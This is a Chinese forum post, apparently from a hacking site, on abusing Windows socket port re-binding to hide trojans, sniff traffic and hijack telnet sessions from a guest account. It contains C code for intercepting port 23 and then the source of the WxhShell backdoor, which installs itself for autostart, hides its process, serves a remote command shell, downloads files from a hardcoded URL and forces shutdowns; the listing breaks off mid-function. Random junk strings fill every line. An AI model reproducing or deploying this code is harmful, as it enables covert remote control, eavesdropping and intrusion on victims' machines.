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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =}.EY iD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m=YU2!Mb  
K_dOq68_  
  saddr.sin_family = AF_INET; kT;S4B  
-wjN"g<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F&&$Qn_+  
br|;'i%(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -|E!e.^7:  
3-&QRR#p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [7[0^ad  
LqA@&H  
  这意味着什么?意味着可以进行如下的攻击: eut-U/3:#  
ztw@Y|<2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V O3x~E  
8QM(?A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D:erBMKv,  
u,&^&0K,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p\bDY  
|`cKD >  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zzxGAVu  
l,kUhZ@W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #FNcF>3>  
lyGhdgWc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JYTP 2  
Y./2Ely  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2sJ(awN>  
92 [; Y  
  #include 3\B>lKhQ  
  #include $C `;fA  
  #include Z4lO?S5%J  
  #include    YGrg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~-I +9F  
  int main() <WcR,d  
  { U-|NY  
  WORD wVersionRequested; uXKERzg  
  DWORD ret; Ry'= ke  
  WSADATA wsaData; _ A=$oVe  
  BOOL val; ~m$Y$,uH  
  SOCKADDR_IN saddr; )gMG#>up@  
  SOCKADDR_IN scaddr; ~P@Q7T*  
  int err; {HCz p,Y  
  SOCKET s; a]MX)?  
  SOCKET sc; S;)w.  
  int caddsize; -q*i_r:,  
  HANDLE mt; THS.GvT9[  
  DWORD tid;   xftBSdVE  
  wVersionRequested = MAKEWORD( 2, 2 ); mVy|{Oh  
  err = WSAStartup( wVersionRequested, &wsaData ); ]bK=FIK2  
  if ( err != 0 ) { QnJZr:4b  
  printf("error!WSAStartup failed!\n"); 2K3{hxB  
  return -1; 8p:j&F  
  } D ^x-^6^  
  saddr.sin_family = AF_INET; D}mjN=Y  
   s#WAR]x0x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q,+yqrt  
F~P%AjAx'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2'W<h)m)z  
  saddr.sin_port = htons(23); m8o(J\]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K|Di1)7=/  
  { hUF5fZqii  
  printf("error!socket failed!\n"); m_)FC-/pSl  
  return -1; {$wjO7Glp  
  } ;t|Ii8Ne  
  val = TRUE; fyByz=pl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sL\L"rQN6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z& fwE$Nm  
  { ekWePL;rR2  
  printf("error!setsockopt failed!\n"); [_Qa9e  
  return -1; `a2n:F  
  } e8GEoD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ])nPPf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 28UU60  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DKBSFm{~Q  
}#n;C{z2e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |\7 ET[X q  
  { 70eb]\%  
  ret=GetLastError(); 'LE =6{#  
  printf("error!bind failed!\n"); WjlZ6g2i  
  return -1; OUhqM VX9C  
  } .%L?J E  
  listen(s,2); /K. !sQ$  
  while(1) *tK\R&4,4s  
  { lc~%=  
  caddsize = sizeof(scaddr); y9>ZwYN  
  //接受连接请求 !Rhl f.x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !Ikt '5/  
  if(sc!=INVALID_SOCKET) *q-['"f  
  { v#U"pn|M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z|lq b=  
  if(mt==NULL) f)^_|8  
  { Ht&:-F+dm  
  printf("Thread Creat Failed!\n"); 4X+ifZO  
  break; Y07ZB'K  
  } '.81zpff  
  } 5'X ]k@m_  
  CloseHandle(mt); @T'i/}nl  
  } kNobl  
  closesocket(s); (q(~de  
  WSACleanup(); *%S"eWb  
  return 0; -)RH5WGS  
  }   i;_tI#:A  
  DWORD WINAPI ClientThread(LPVOID lpParam) MM x9(`t*.  
  { PqiB\~o@Z  
  SOCKET ss = (SOCKET)lpParam; T^Ze3L]  
  SOCKET sc; `s8{C b=}1  
  unsigned char buf[4096]; nv~%#|v_W  
  SOCKADDR_IN saddr; 8[E!E)4M  
  long num; r}mbXvn  
  DWORD val; =9fajRFTt  
  DWORD ret; f (F)1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U qFv}VsnF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "saUai4z  
  saddr.sin_family = AF_INET; \xnWciQ#{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Is{KN!Hw  
  saddr.sin_port = htons(23); 5*,f Fib  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L 8dc(Z%v  
  { -6n K<e`  
  printf("error!socket failed!\n"); ,I%g|'2  
  return -1; 8q,6}mV  
  } <c qbUL  
  val = 100; A*}.EClH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dk(1}%0U/  
  { \kU &^Hi  
  ret = GetLastError(); {ZI)nQ{  
  return -1; ^]W<X"H+Z  
  } {6_|/KE9_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) --|Wh^i>?  
  { Zw ^kmSL"  
  ret = GetLastError(); !AKg m'Nw  
  return -1; 3G`aHTWk  
  } / ;,Md,p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _YLfL  
  { lna}@]oR  
  printf("error!socket connect failed!\n"); >76\nGO  
  closesocket(sc); VBcy9|lD  
  closesocket(ss); :"xzj<(  
  return -1;  ng_^  
  } y*tZ !m2Gg  
  while(1) 2M68CE  
  { 7]||UuF<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'Pn3%&O$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -8j+s}Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e=.njMqW5  
  num = recv(ss,buf,4096,0); Od5JG .]  
  if(num>0) q(2K6  
  send(sc,buf,num,0); Ai gS!-   
  else if(num==0) xK6n0] A  
  break; I~Zh@d%  
  num = recv(sc,buf,4096,0); w6{TE(]zp  
  if(num>0) P#XID 2;  
  send(ss,buf,num,0); O]1y0BOQ  
  else if(num==0) 1>E<8&2[L  
  break; ZRg;/sX]  
  } Z^IPZF  
  closesocket(ss); F=a<~EpZ  
  closesocket(sc); }A7j/uy}s  
  return 0 ; iTAx=SG  
  } Htgx`N|  
N =QfP  
Y! gCMLL  
========================================================== b7wvaRe.  
V&\[)D'c  
下边附上一个代码,,WXhSHELL +(1zH-^.  
)XzI #iQ  
========================================================== <\}KT*Xp  
H P3lz,d  
#include "stdafx.h" w6W}"Uw  
/|eA9 ]  
#include <stdio.h> (KF=On;=Y  
#include <string.h> twlk-2yT!  
#include <windows.h> ;o 0&`b?  
#include <winsock2.h> oWC@w  
#include <winsvc.h> D(H>R&b!  
#include <urlmon.h> h?;T7|^  
TG+VEL |T  
#pragma comment (lib, "Ws2_32.lib") Nd cg/d  
#pragma comment (lib, "urlmon.lib") #[`:'e  
vWf; 'j  
#define MAX_USER   100 // 最大客户端连接数 < VSA  
#define BUF_SOCK   200 // sock buffer jhg;%+KB  
#define KEY_BUFF   255 // 输入 buffer 6w(6}m.L^  
U}PiY"S<  
#define REBOOT     0   // 重启 _G.>+!"2/  
#define SHUTDOWN   1   // 关机 !qN||m CH  
"G@g" gP  
#define DEF_PORT   5000 // 监听端口 mM-8+H?~b  
ktdW`R\+  
#define REG_LEN     16   // 注册表键长度 $+3}po\  
#define SVC_LEN     80   // NT服务名长度 X7i/fm{l'  
kT!9`S\  
// 从dll定义API /O^RF}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7El[ >  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t[oT-r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZObhF#Y9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5_z33,q2  
 OP x`u  
// wxhshell配置信息 iIq)~e/ Z  
struct WSCFG { naw0$kXTA  
  int ws_port;         // 监听端口 fI~Xmw+}}  
  char ws_passstr[REG_LEN]; // 口令 Ts ^"xlK  
  int ws_autoins;       // 安装标记, 1=yes 0=no P}TI q#  
  char ws_regname[REG_LEN]; // 注册表键名 \u>"s   
  char ws_svcname[REG_LEN]; // 服务名 :E@3Vl#U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cvfr)K[0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %ve:hym*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :9_L6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |Clut~G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f' aVV!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HsHB!mQV  
j.L-{6_s>~  
}; Ffv`kn@  
PUBWZ^63  
// default Wxhshell configuration 0 rXx RQ  
struct WSCFG wscfg={DEF_PORT, [5MJwRM^!;  
    "xuhuanlingzhe", P5#r,:zL  
    1, d~:!#uWyFk  
    "Wxhshell", J<dVT xK12  
    "Wxhshell", Q'YH>oGh^  
            "WxhShell Service", '=G|Sq^aO  
    "Wrsky Windows CmdShell Service", Z]j*9#G1s  
    "Please Input Your Password: ", .72S oT  
  1, sh`s /JRf  
  "http://www.wrsky.com/wxhshell.exe", cnFI &,FM  
  "Wxhshell.exe" !>e5z|1   
    }; R@6zGZ1  
_;~,Cgfi  
// 消息定义模块 I]&#Dl/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F;l$.9?.s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,XIz?R>;c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xg NJeQ  
char *msg_ws_ext="\n\rExit."; 8&3V#sn'  
char *msg_ws_end="\n\rQuit."; 3`B6w$z>(  
char *msg_ws_boot="\n\rReboot..."; ""1^k2fj  
char *msg_ws_poff="\n\rShutdown..."; CFqJ/ ''  
char *msg_ws_down="\n\rSave to "; "E8zh|m o  
J]G?Rc  
char *msg_ws_err="\n\rErr!"; 2cqI[t@0  
char *msg_ws_ok="\n\rOK!"; x7<\] 94  
`(f!*Ru@/z  
char ExeFile[MAX_PATH]; sM?MLB\Za  
int nUser = 0; %T)oCjM[\  
HANDLE handles[MAX_USER]; kWe{r5C7  
int OsIsNt; C_n9T{k  
2;^y4ssg  
SERVICE_STATUS       serviceStatus; Nv/v$Z{k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @*Wh  
`KK>~T_$J  
// 函数声明 1Lg-.-V  
int Install(void); +S R+x/?z  
int Uninstall(void); kRTwaNDOD  
int DownloadFile(char *sURL, SOCKET wsh); _%B^9Yl3(  
int Boot(int flag); @Q^P{  
void HideProc(void); ;3kj2}  
int GetOsVer(void); C#t'Y*  
int Wxhshell(SOCKET wsl); fVt9X*xK S  
void TalkWithClient(void *cs); t7m>A-I  
int CmdShell(SOCKET sock); |pmZ.r  
int StartFromService(void); Bnb#{tL  
int StartWxhshell(LPSTR lpCmdLine); u)V#S:9]  
q&Gz ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 91q8k=p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /qx0TDB  
8 XICF  
// 数据结构和表定义 zD(`B+  
SERVICE_TABLE_ENTRY DispatchTable[] = H~+l7OhV  
{ awOd_![c'  
{wscfg.ws_svcname, NTServiceMain}, mFSw@CC  
{NULL, NULL} H]$)Eg%6  
}; lNL6M%e$Q  
't_[dSO  
// 自我安装 t: IN,Kl4  
int Install(void) FRS>KO=3  
{ {2+L @  
  char svExeFile[MAX_PATH]; ;[W"mlM  
  HKEY key; <IC~ GqXv  
  strcpy(svExeFile,ExeFile); EC\yz H*X  
wQiX<)O  
// 如果是win9x系统,修改注册表设为自启动 T[sDVkCbxf  
if(!OsIsNt) { :k3Nt5t!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;}1xn3THCn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); baP^<w^  
  RegCloseKey(key); +Wx{:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u6_@.a}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~-dV^SO  
  RegCloseKey(key); |{@8m9JR  
  return 0; >zhO7,=,  
    } m <w "T7  
  } Ojt`^r!V  
}  wAz&"rS  
else { *0|IXGr  
L}FO jrN  
// 如果是NT以上系统,安装为系统服务 HS.^y x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F P>)&3>_  
if (schSCManager!=0) CXO2N1~(J  
{ S=nP[s  
  SC_HANDLE schService = CreateService ec gtUb8K  
  ( }Y*VAnY6;  
  schSCManager, u_ '!_T L  
  wscfg.ws_svcname, 4lM8\Lr  
  wscfg.ws_svcdisp, ^RP)>d9Xp{  
  SERVICE_ALL_ACCESS, DZv=\<$,LF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [ e8x&{L-_  
  SERVICE_AUTO_START, |<Gl91  
  SERVICE_ERROR_NORMAL, n':!,a[  
  svExeFile, .p=sBLp8  
  NULL, *0}3t <5  
  NULL, jU3Z*Z)zN  
  NULL, ~{D[ >j][  
  NULL, 8?i7U<CB  
  NULL (&P9+Tl  
  ); vi|R(&  
  if (schService!=0) kdCP  
  {  (:";i&  
  CloseServiceHandle(schService); x&`~R>5/  
  CloseServiceHandle(schSCManager); h[?O+Z^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *$"gaXI  
  strcat(svExeFile,wscfg.ws_svcname); ynB_"mg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N,f4*PQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g(Io/hyj  
  RegCloseKey(key); :gB[O>'<m  
  return 0; C:uz6i1  
    } J8"[6vId~  
  } R-RDT9&<  
  CloseServiceHandle(schSCManager); .(X lg-H,  
} ]/!<PF  
} S<L.c  
=1u@7Bh  
return 1; NFr:y<0>z  
} M#4QQ} F.  
<d<mvXbw_@  
// 自我卸载 " beQZG  
int Uninstall(void) ^47PLLRP  
{ u- o--q  
  HKEY key; A#W?2k9  
g1UGd  
if(!OsIsNt) { UDe |Sb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [J C:  
  RegDeleteValue(key,wscfg.ws_regname); /c$\X<b);  
  RegCloseKey(key); r&2~~_d3y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D!oc>K$B  
  RegDeleteValue(key,wscfg.ws_regname); U^.4Hy&D  
  RegCloseKey(key); )OLq_':^ @  
  return 0; TP}h~8 /;  
  } Hh4 n  
} Ic{F*nnM  
} i z~ pGkt  
else { 7nVRn9Hn  
WH$e2[+Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F*Z=<]<+  
if (schSCManager!=0) $XU5??8  
{ "iM~Hy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K 9kUS  
  if (schService!=0) t'~/$=9}  
  { Lqp8yVO  
  if(DeleteService(schService)!=0) { S#b-awk  
  CloseServiceHandle(schService); Pe_!?:vF  
  CloseServiceHandle(schSCManager); /{{UP-  
  return 0; `Bw9O%]-S  
  } bC^(U`y32  
  CloseServiceHandle(schService); 'i8 U  
  } T?p`)  
  CloseServiceHandle(schSCManager); yE\wj  
} pCu!l#J  
}  8*c3|  
YxGcFjJ  
return 1; #-Z8Z i"44  
} kJAn4I.l  
7 JDN{!jT  
// 从指定url下载文件 /?6gdN  
int DownloadFile(char *sURL, SOCKET wsh) M0' a9.d  
{ G\;}w  
  HRESULT hr; QI!F6pGF  
char seps[]= "/"; r{sebE\ ;  
char *token; @[6,6:h|  
char *file; ,zQOZ'^  
char myURL[MAX_PATH]; M('d-Q{B7L  
char myFILE[MAX_PATH]; `Ci4YDaz;k  
H2r8,|XL  
strcpy(myURL,sURL); @-)tM.8~  
  token=strtok(myURL,seps); T'#!~GpB  
  while(token!=NULL) T%F0B`  
  { $ C0TD7=  
    file=token; =1oNZKBP  
  token=strtok(NULL,seps); `T2<<<  
  } J R PSvP\  
+y#T?!jQYj  
GetCurrentDirectory(MAX_PATH,myFILE); O%f8I'u$  
strcat(myFILE, "\\"); [,~TaP}m  
strcat(myFILE, file); -/D|]qqHm  
  send(wsh,myFILE,strlen(myFILE),0); 46h@j>/K  
send(wsh,"...",3,0); _Hd{sd#xX1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MqKye8h9f  
  if(hr==S_OK) {S<>&?XB  
return 0; #Rew [\$  
else %>WbmpIyc  
return 1; Vh<A2u3&  
+ q''y  
} kz q29S  
]feyJLF  
// 系统电源模块 3"UsZyN:  
int Boot(int flag) v8I{XU@%  
{ ibdO*E  
  HANDLE hToken; '+*-s7o{  
  TOKEN_PRIVILEGES tkp; O!Wd5Y  
.1QgK  
  if(OsIsNt) { RiO="tX'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nN3$\gHp8i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nMoWOP'  
    tkp.PrivilegeCount = 1; pGIe=Um0W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [rreFSy#@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h7;bclU  
if(flag==REBOOT) { ]$M<]w,IJ2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cUK\x2  
  return 0; bO<0qM~  
} S^cH}-+  
else { }wSy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hh kN^S,  
  return 0; D6Y6^eS-  
} #^&jW  
  } WjM>kWv  
  else { \h3e-)  
if(flag==REBOOT) { z]Acs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VG*'"y *%w  
  return 0; sFb4`  
} 3]n0 &MZAR  
else { {*/dD`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )9P&=  
  return 0; ~ H[%vdR  
} ., :uZyG  
} 4?/7 bc  
cCxi{a1uo  
return 1; >]}yXg=QK+  
} +#]|)V Z  
EX?h0Uy  
// win9x进程隐藏模块 ~2/{3m{3A  
void HideProc(void) ~F#A Pt  
{ OCHm;  
wH!#aB>kP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bj"z8kP  
  if ( hKernel != NULL ) m1.B\~S3  
  { .yVnw^gu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2W3W/> 2 h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dALK0U  
    FreeLibrary(hKernel); 4VIg>EL*  
  } b Dg9P^<n  
G^Xd-7 GQ  
return; P Tnac  
} +zRh fIJHH  
%{STz  
// 获取操作系统版本 C=VIT*=  
int GetOsVer(void) 00M`%c/  
{ 67J*&5? |  
  OSVERSIONINFO winfo; w{'2q^>6*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2z98 3^  
  GetVersionEx(&winfo); '@:[axu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {rPk3  
  return 1; d.pp3D 9/  
  else Q @2(aR  
  return 0; :HW>9nD.  
} WF/l7u#4i  
kUHie   
// 客户端句柄模块 C(,=[Fi-  
int Wxhshell(SOCKET wsl) jX|=n.#q  
{ Q#WE|,a  
  SOCKET wsh; Sl.o,W^  
  struct sockaddr_in client; Ko}2%4on  
  DWORD myID; K&UE0JO'  
B <+K<,S  
  while(nUser<MAX_USER) <lOaor c  
{ (^H5EeGV{  
  int nSize=sizeof(client); m1e b8yX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w &vhWq  
  if(wsh==INVALID_SOCKET) return 1; m4gU*?  
{Bvm'lq`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9Q@*0-  
if(handles[nUser]==0) Tiprdvm<  
  closesocket(wsh); ] C,1%(  
else C|6{fd4?  
  nUser++; ;i9>}]6  
  } >Me]m<$E;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B~_Spp  
>Zdi5') 5  
  return 0; UE)fUTS  
} 99KVtgPm  
[EGx  
// 关闭 socket !BRcq~-.  
void CloseIt(SOCKET wsh) @*_ZoO7{  
{ & zgPN8u  
closesocket(wsh); q2!'==h2i  
nUser--; dwp: iM  
ExitThread(0); B+Q+0tw*i  
} E|,30Z+  
p!GZCf,   
// 客户端请求句柄 MOyT< $  
void TalkWithClient(void *cs) hrT%XJl  
{ QSmJ`Bm  
]-KV0H  
  SOCKET wsh=(SOCKET)cs; @,YlmX}  
  char pwd[SVC_LEN]; f N0bIE Y  
  char cmd[KEY_BUFF]; BVAr&cu  
char chr[1]; RH=$h! 5  
int i,j; O3+)qb!X  
Bj&_IDs4  
  while (nUser < MAX_USER) { ru(J5+H  
SKJW%(|3  
if(wscfg.ws_passstr) { ~BQV]BJ7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bhx<g&|j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _vIO !*h0  
  //ZeroMemory(pwd,KEY_BUFF); fkBLrw  
      i=0; {~nvs4X  
  while(i<SVC_LEN) { kdBV1E+:C  
/u ?9S/  
  // 设置超时 _-6e0srZ  
  fd_set FdRead; hpjUkGm5  
  struct timeval TimeOut; b=_{/F*b?  
  FD_ZERO(&FdRead); :p&IX"Hh  
  FD_SET(wsh,&FdRead); <c\]Ct  
  TimeOut.tv_sec=8; NGj"ByVjx  
  TimeOut.tv_usec=0; 3]_qj*V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'f6PjI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /B=l,:TnJ  
(h|ch#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Pj@g/25u  
  pwd=chr[0]; lJ'trYaq7  
  if(chr[0]==0xd || chr[0]==0xa) { Ym:{Mm=ud  
  pwd=0; S"{GlRpd  
  break; KJ pj  
  } Y.9~Bo<<r  
  i++; !Z-9tYO  
    } u/#&0_ P  
Uf^RLdoDn  
  // 如果是非法用户,关闭 socket 77^ "xsa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~BtKd*~*  
} s~)L_ p  
f^u^-l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J& )#G@fRX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Db,= 2e  
XW^8A 77H  
while(1) { 0&Qsk!-B  
i[8NO$tN1)  
  ZeroMemory(cmd,KEY_BUFF); b^%?S8]h  
%awVVt{aG  
      // 自动支持客户端 telnet标准   []r T? -  
  j=0; ru DP529;  
  while(j<KEY_BUFF) { 9,w}Xe=C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _l<| 1nH  
  cmd[j]=chr[0]; QS5H >5M)  
  if(chr[0]==0xa || chr[0]==0xd) { 1GUqT 9)  
  cmd[j]=0; L!&$c&=xf  
  break; 2@4x"F]U;  
  } m]1!-`(*  
  j++; N-D(y  
    } Yg$@Wb6  
{:3.27jQ  
  // 下载文件 l3BD <PB2S  
  if(strstr(cmd,"http://")) { 2DUr7r M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [h^f%  
  if(DownloadFile(cmd,wsh)) C#ZhsWS!b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=3X9%v9g  
  else [pr 9 $Jr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &7fY_~)B  
  } T6,V  
  else { % <^[j^j}o  
G{/;AK  
    switch(cmd[0]) { pK<%<dIc  
  ,;7`{Nab  
  // 帮助 L)1C'8 ).  
  case '?': { W\'Nv/L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Jl{1;c  
    break; @uoT{E[  
  } HRj7n<>L=  
  // 安装 WBy[m ?d  
  case 'i': { <8g=BWA  
    if(Install()) !8we8)7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tK*%8I\s  
    else C?{D"f`[]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <sO?ev[  
    break; >6XDX=JVI  
    } "$]ls9-%n  
  // 卸载 g&q]@m  
  case 'r': { N4A&"1d&  
    if(Uninstall()) mMV2h|W   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dFx2>6AZt  
    else k{?!O\yY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p}96uaC1  
    break; Y+!Ouc!$  
    } wH+FFXGJs  
  // 显示 wxhshell 所在路径 4=~ 9v  
  case 'p': { W)|c[Q\  
    char svExeFile[MAX_PATH]; t3pZjdLJd  
    strcpy(svExeFile,"\n\r"); HE*7\"9  
      strcat(svExeFile,ExeFile); (QhG xuC  
        send(wsh,svExeFile,strlen(svExeFile),0); .V8/ELr]  
    break; C:rRK*  
    } 7t ZW^dF  
  // 重启 t'dHCp}  
  case 'b': { #-}kG"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WC3W+v G7  
    if(Boot(REBOOT)) &fCP2]hj'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@9w'upd  
    else { iJ,M-GHK  
    closesocket(wsh); YR?3 61FK  
    ExitThread(0); $K+4C0wX`  
    } Sjw2 j#Q  
    break; 1RCXc>}/  
    } lr-12-D%-  
  // 关机 2T//%ys=  
  case 'd': {  AQB1gzE  
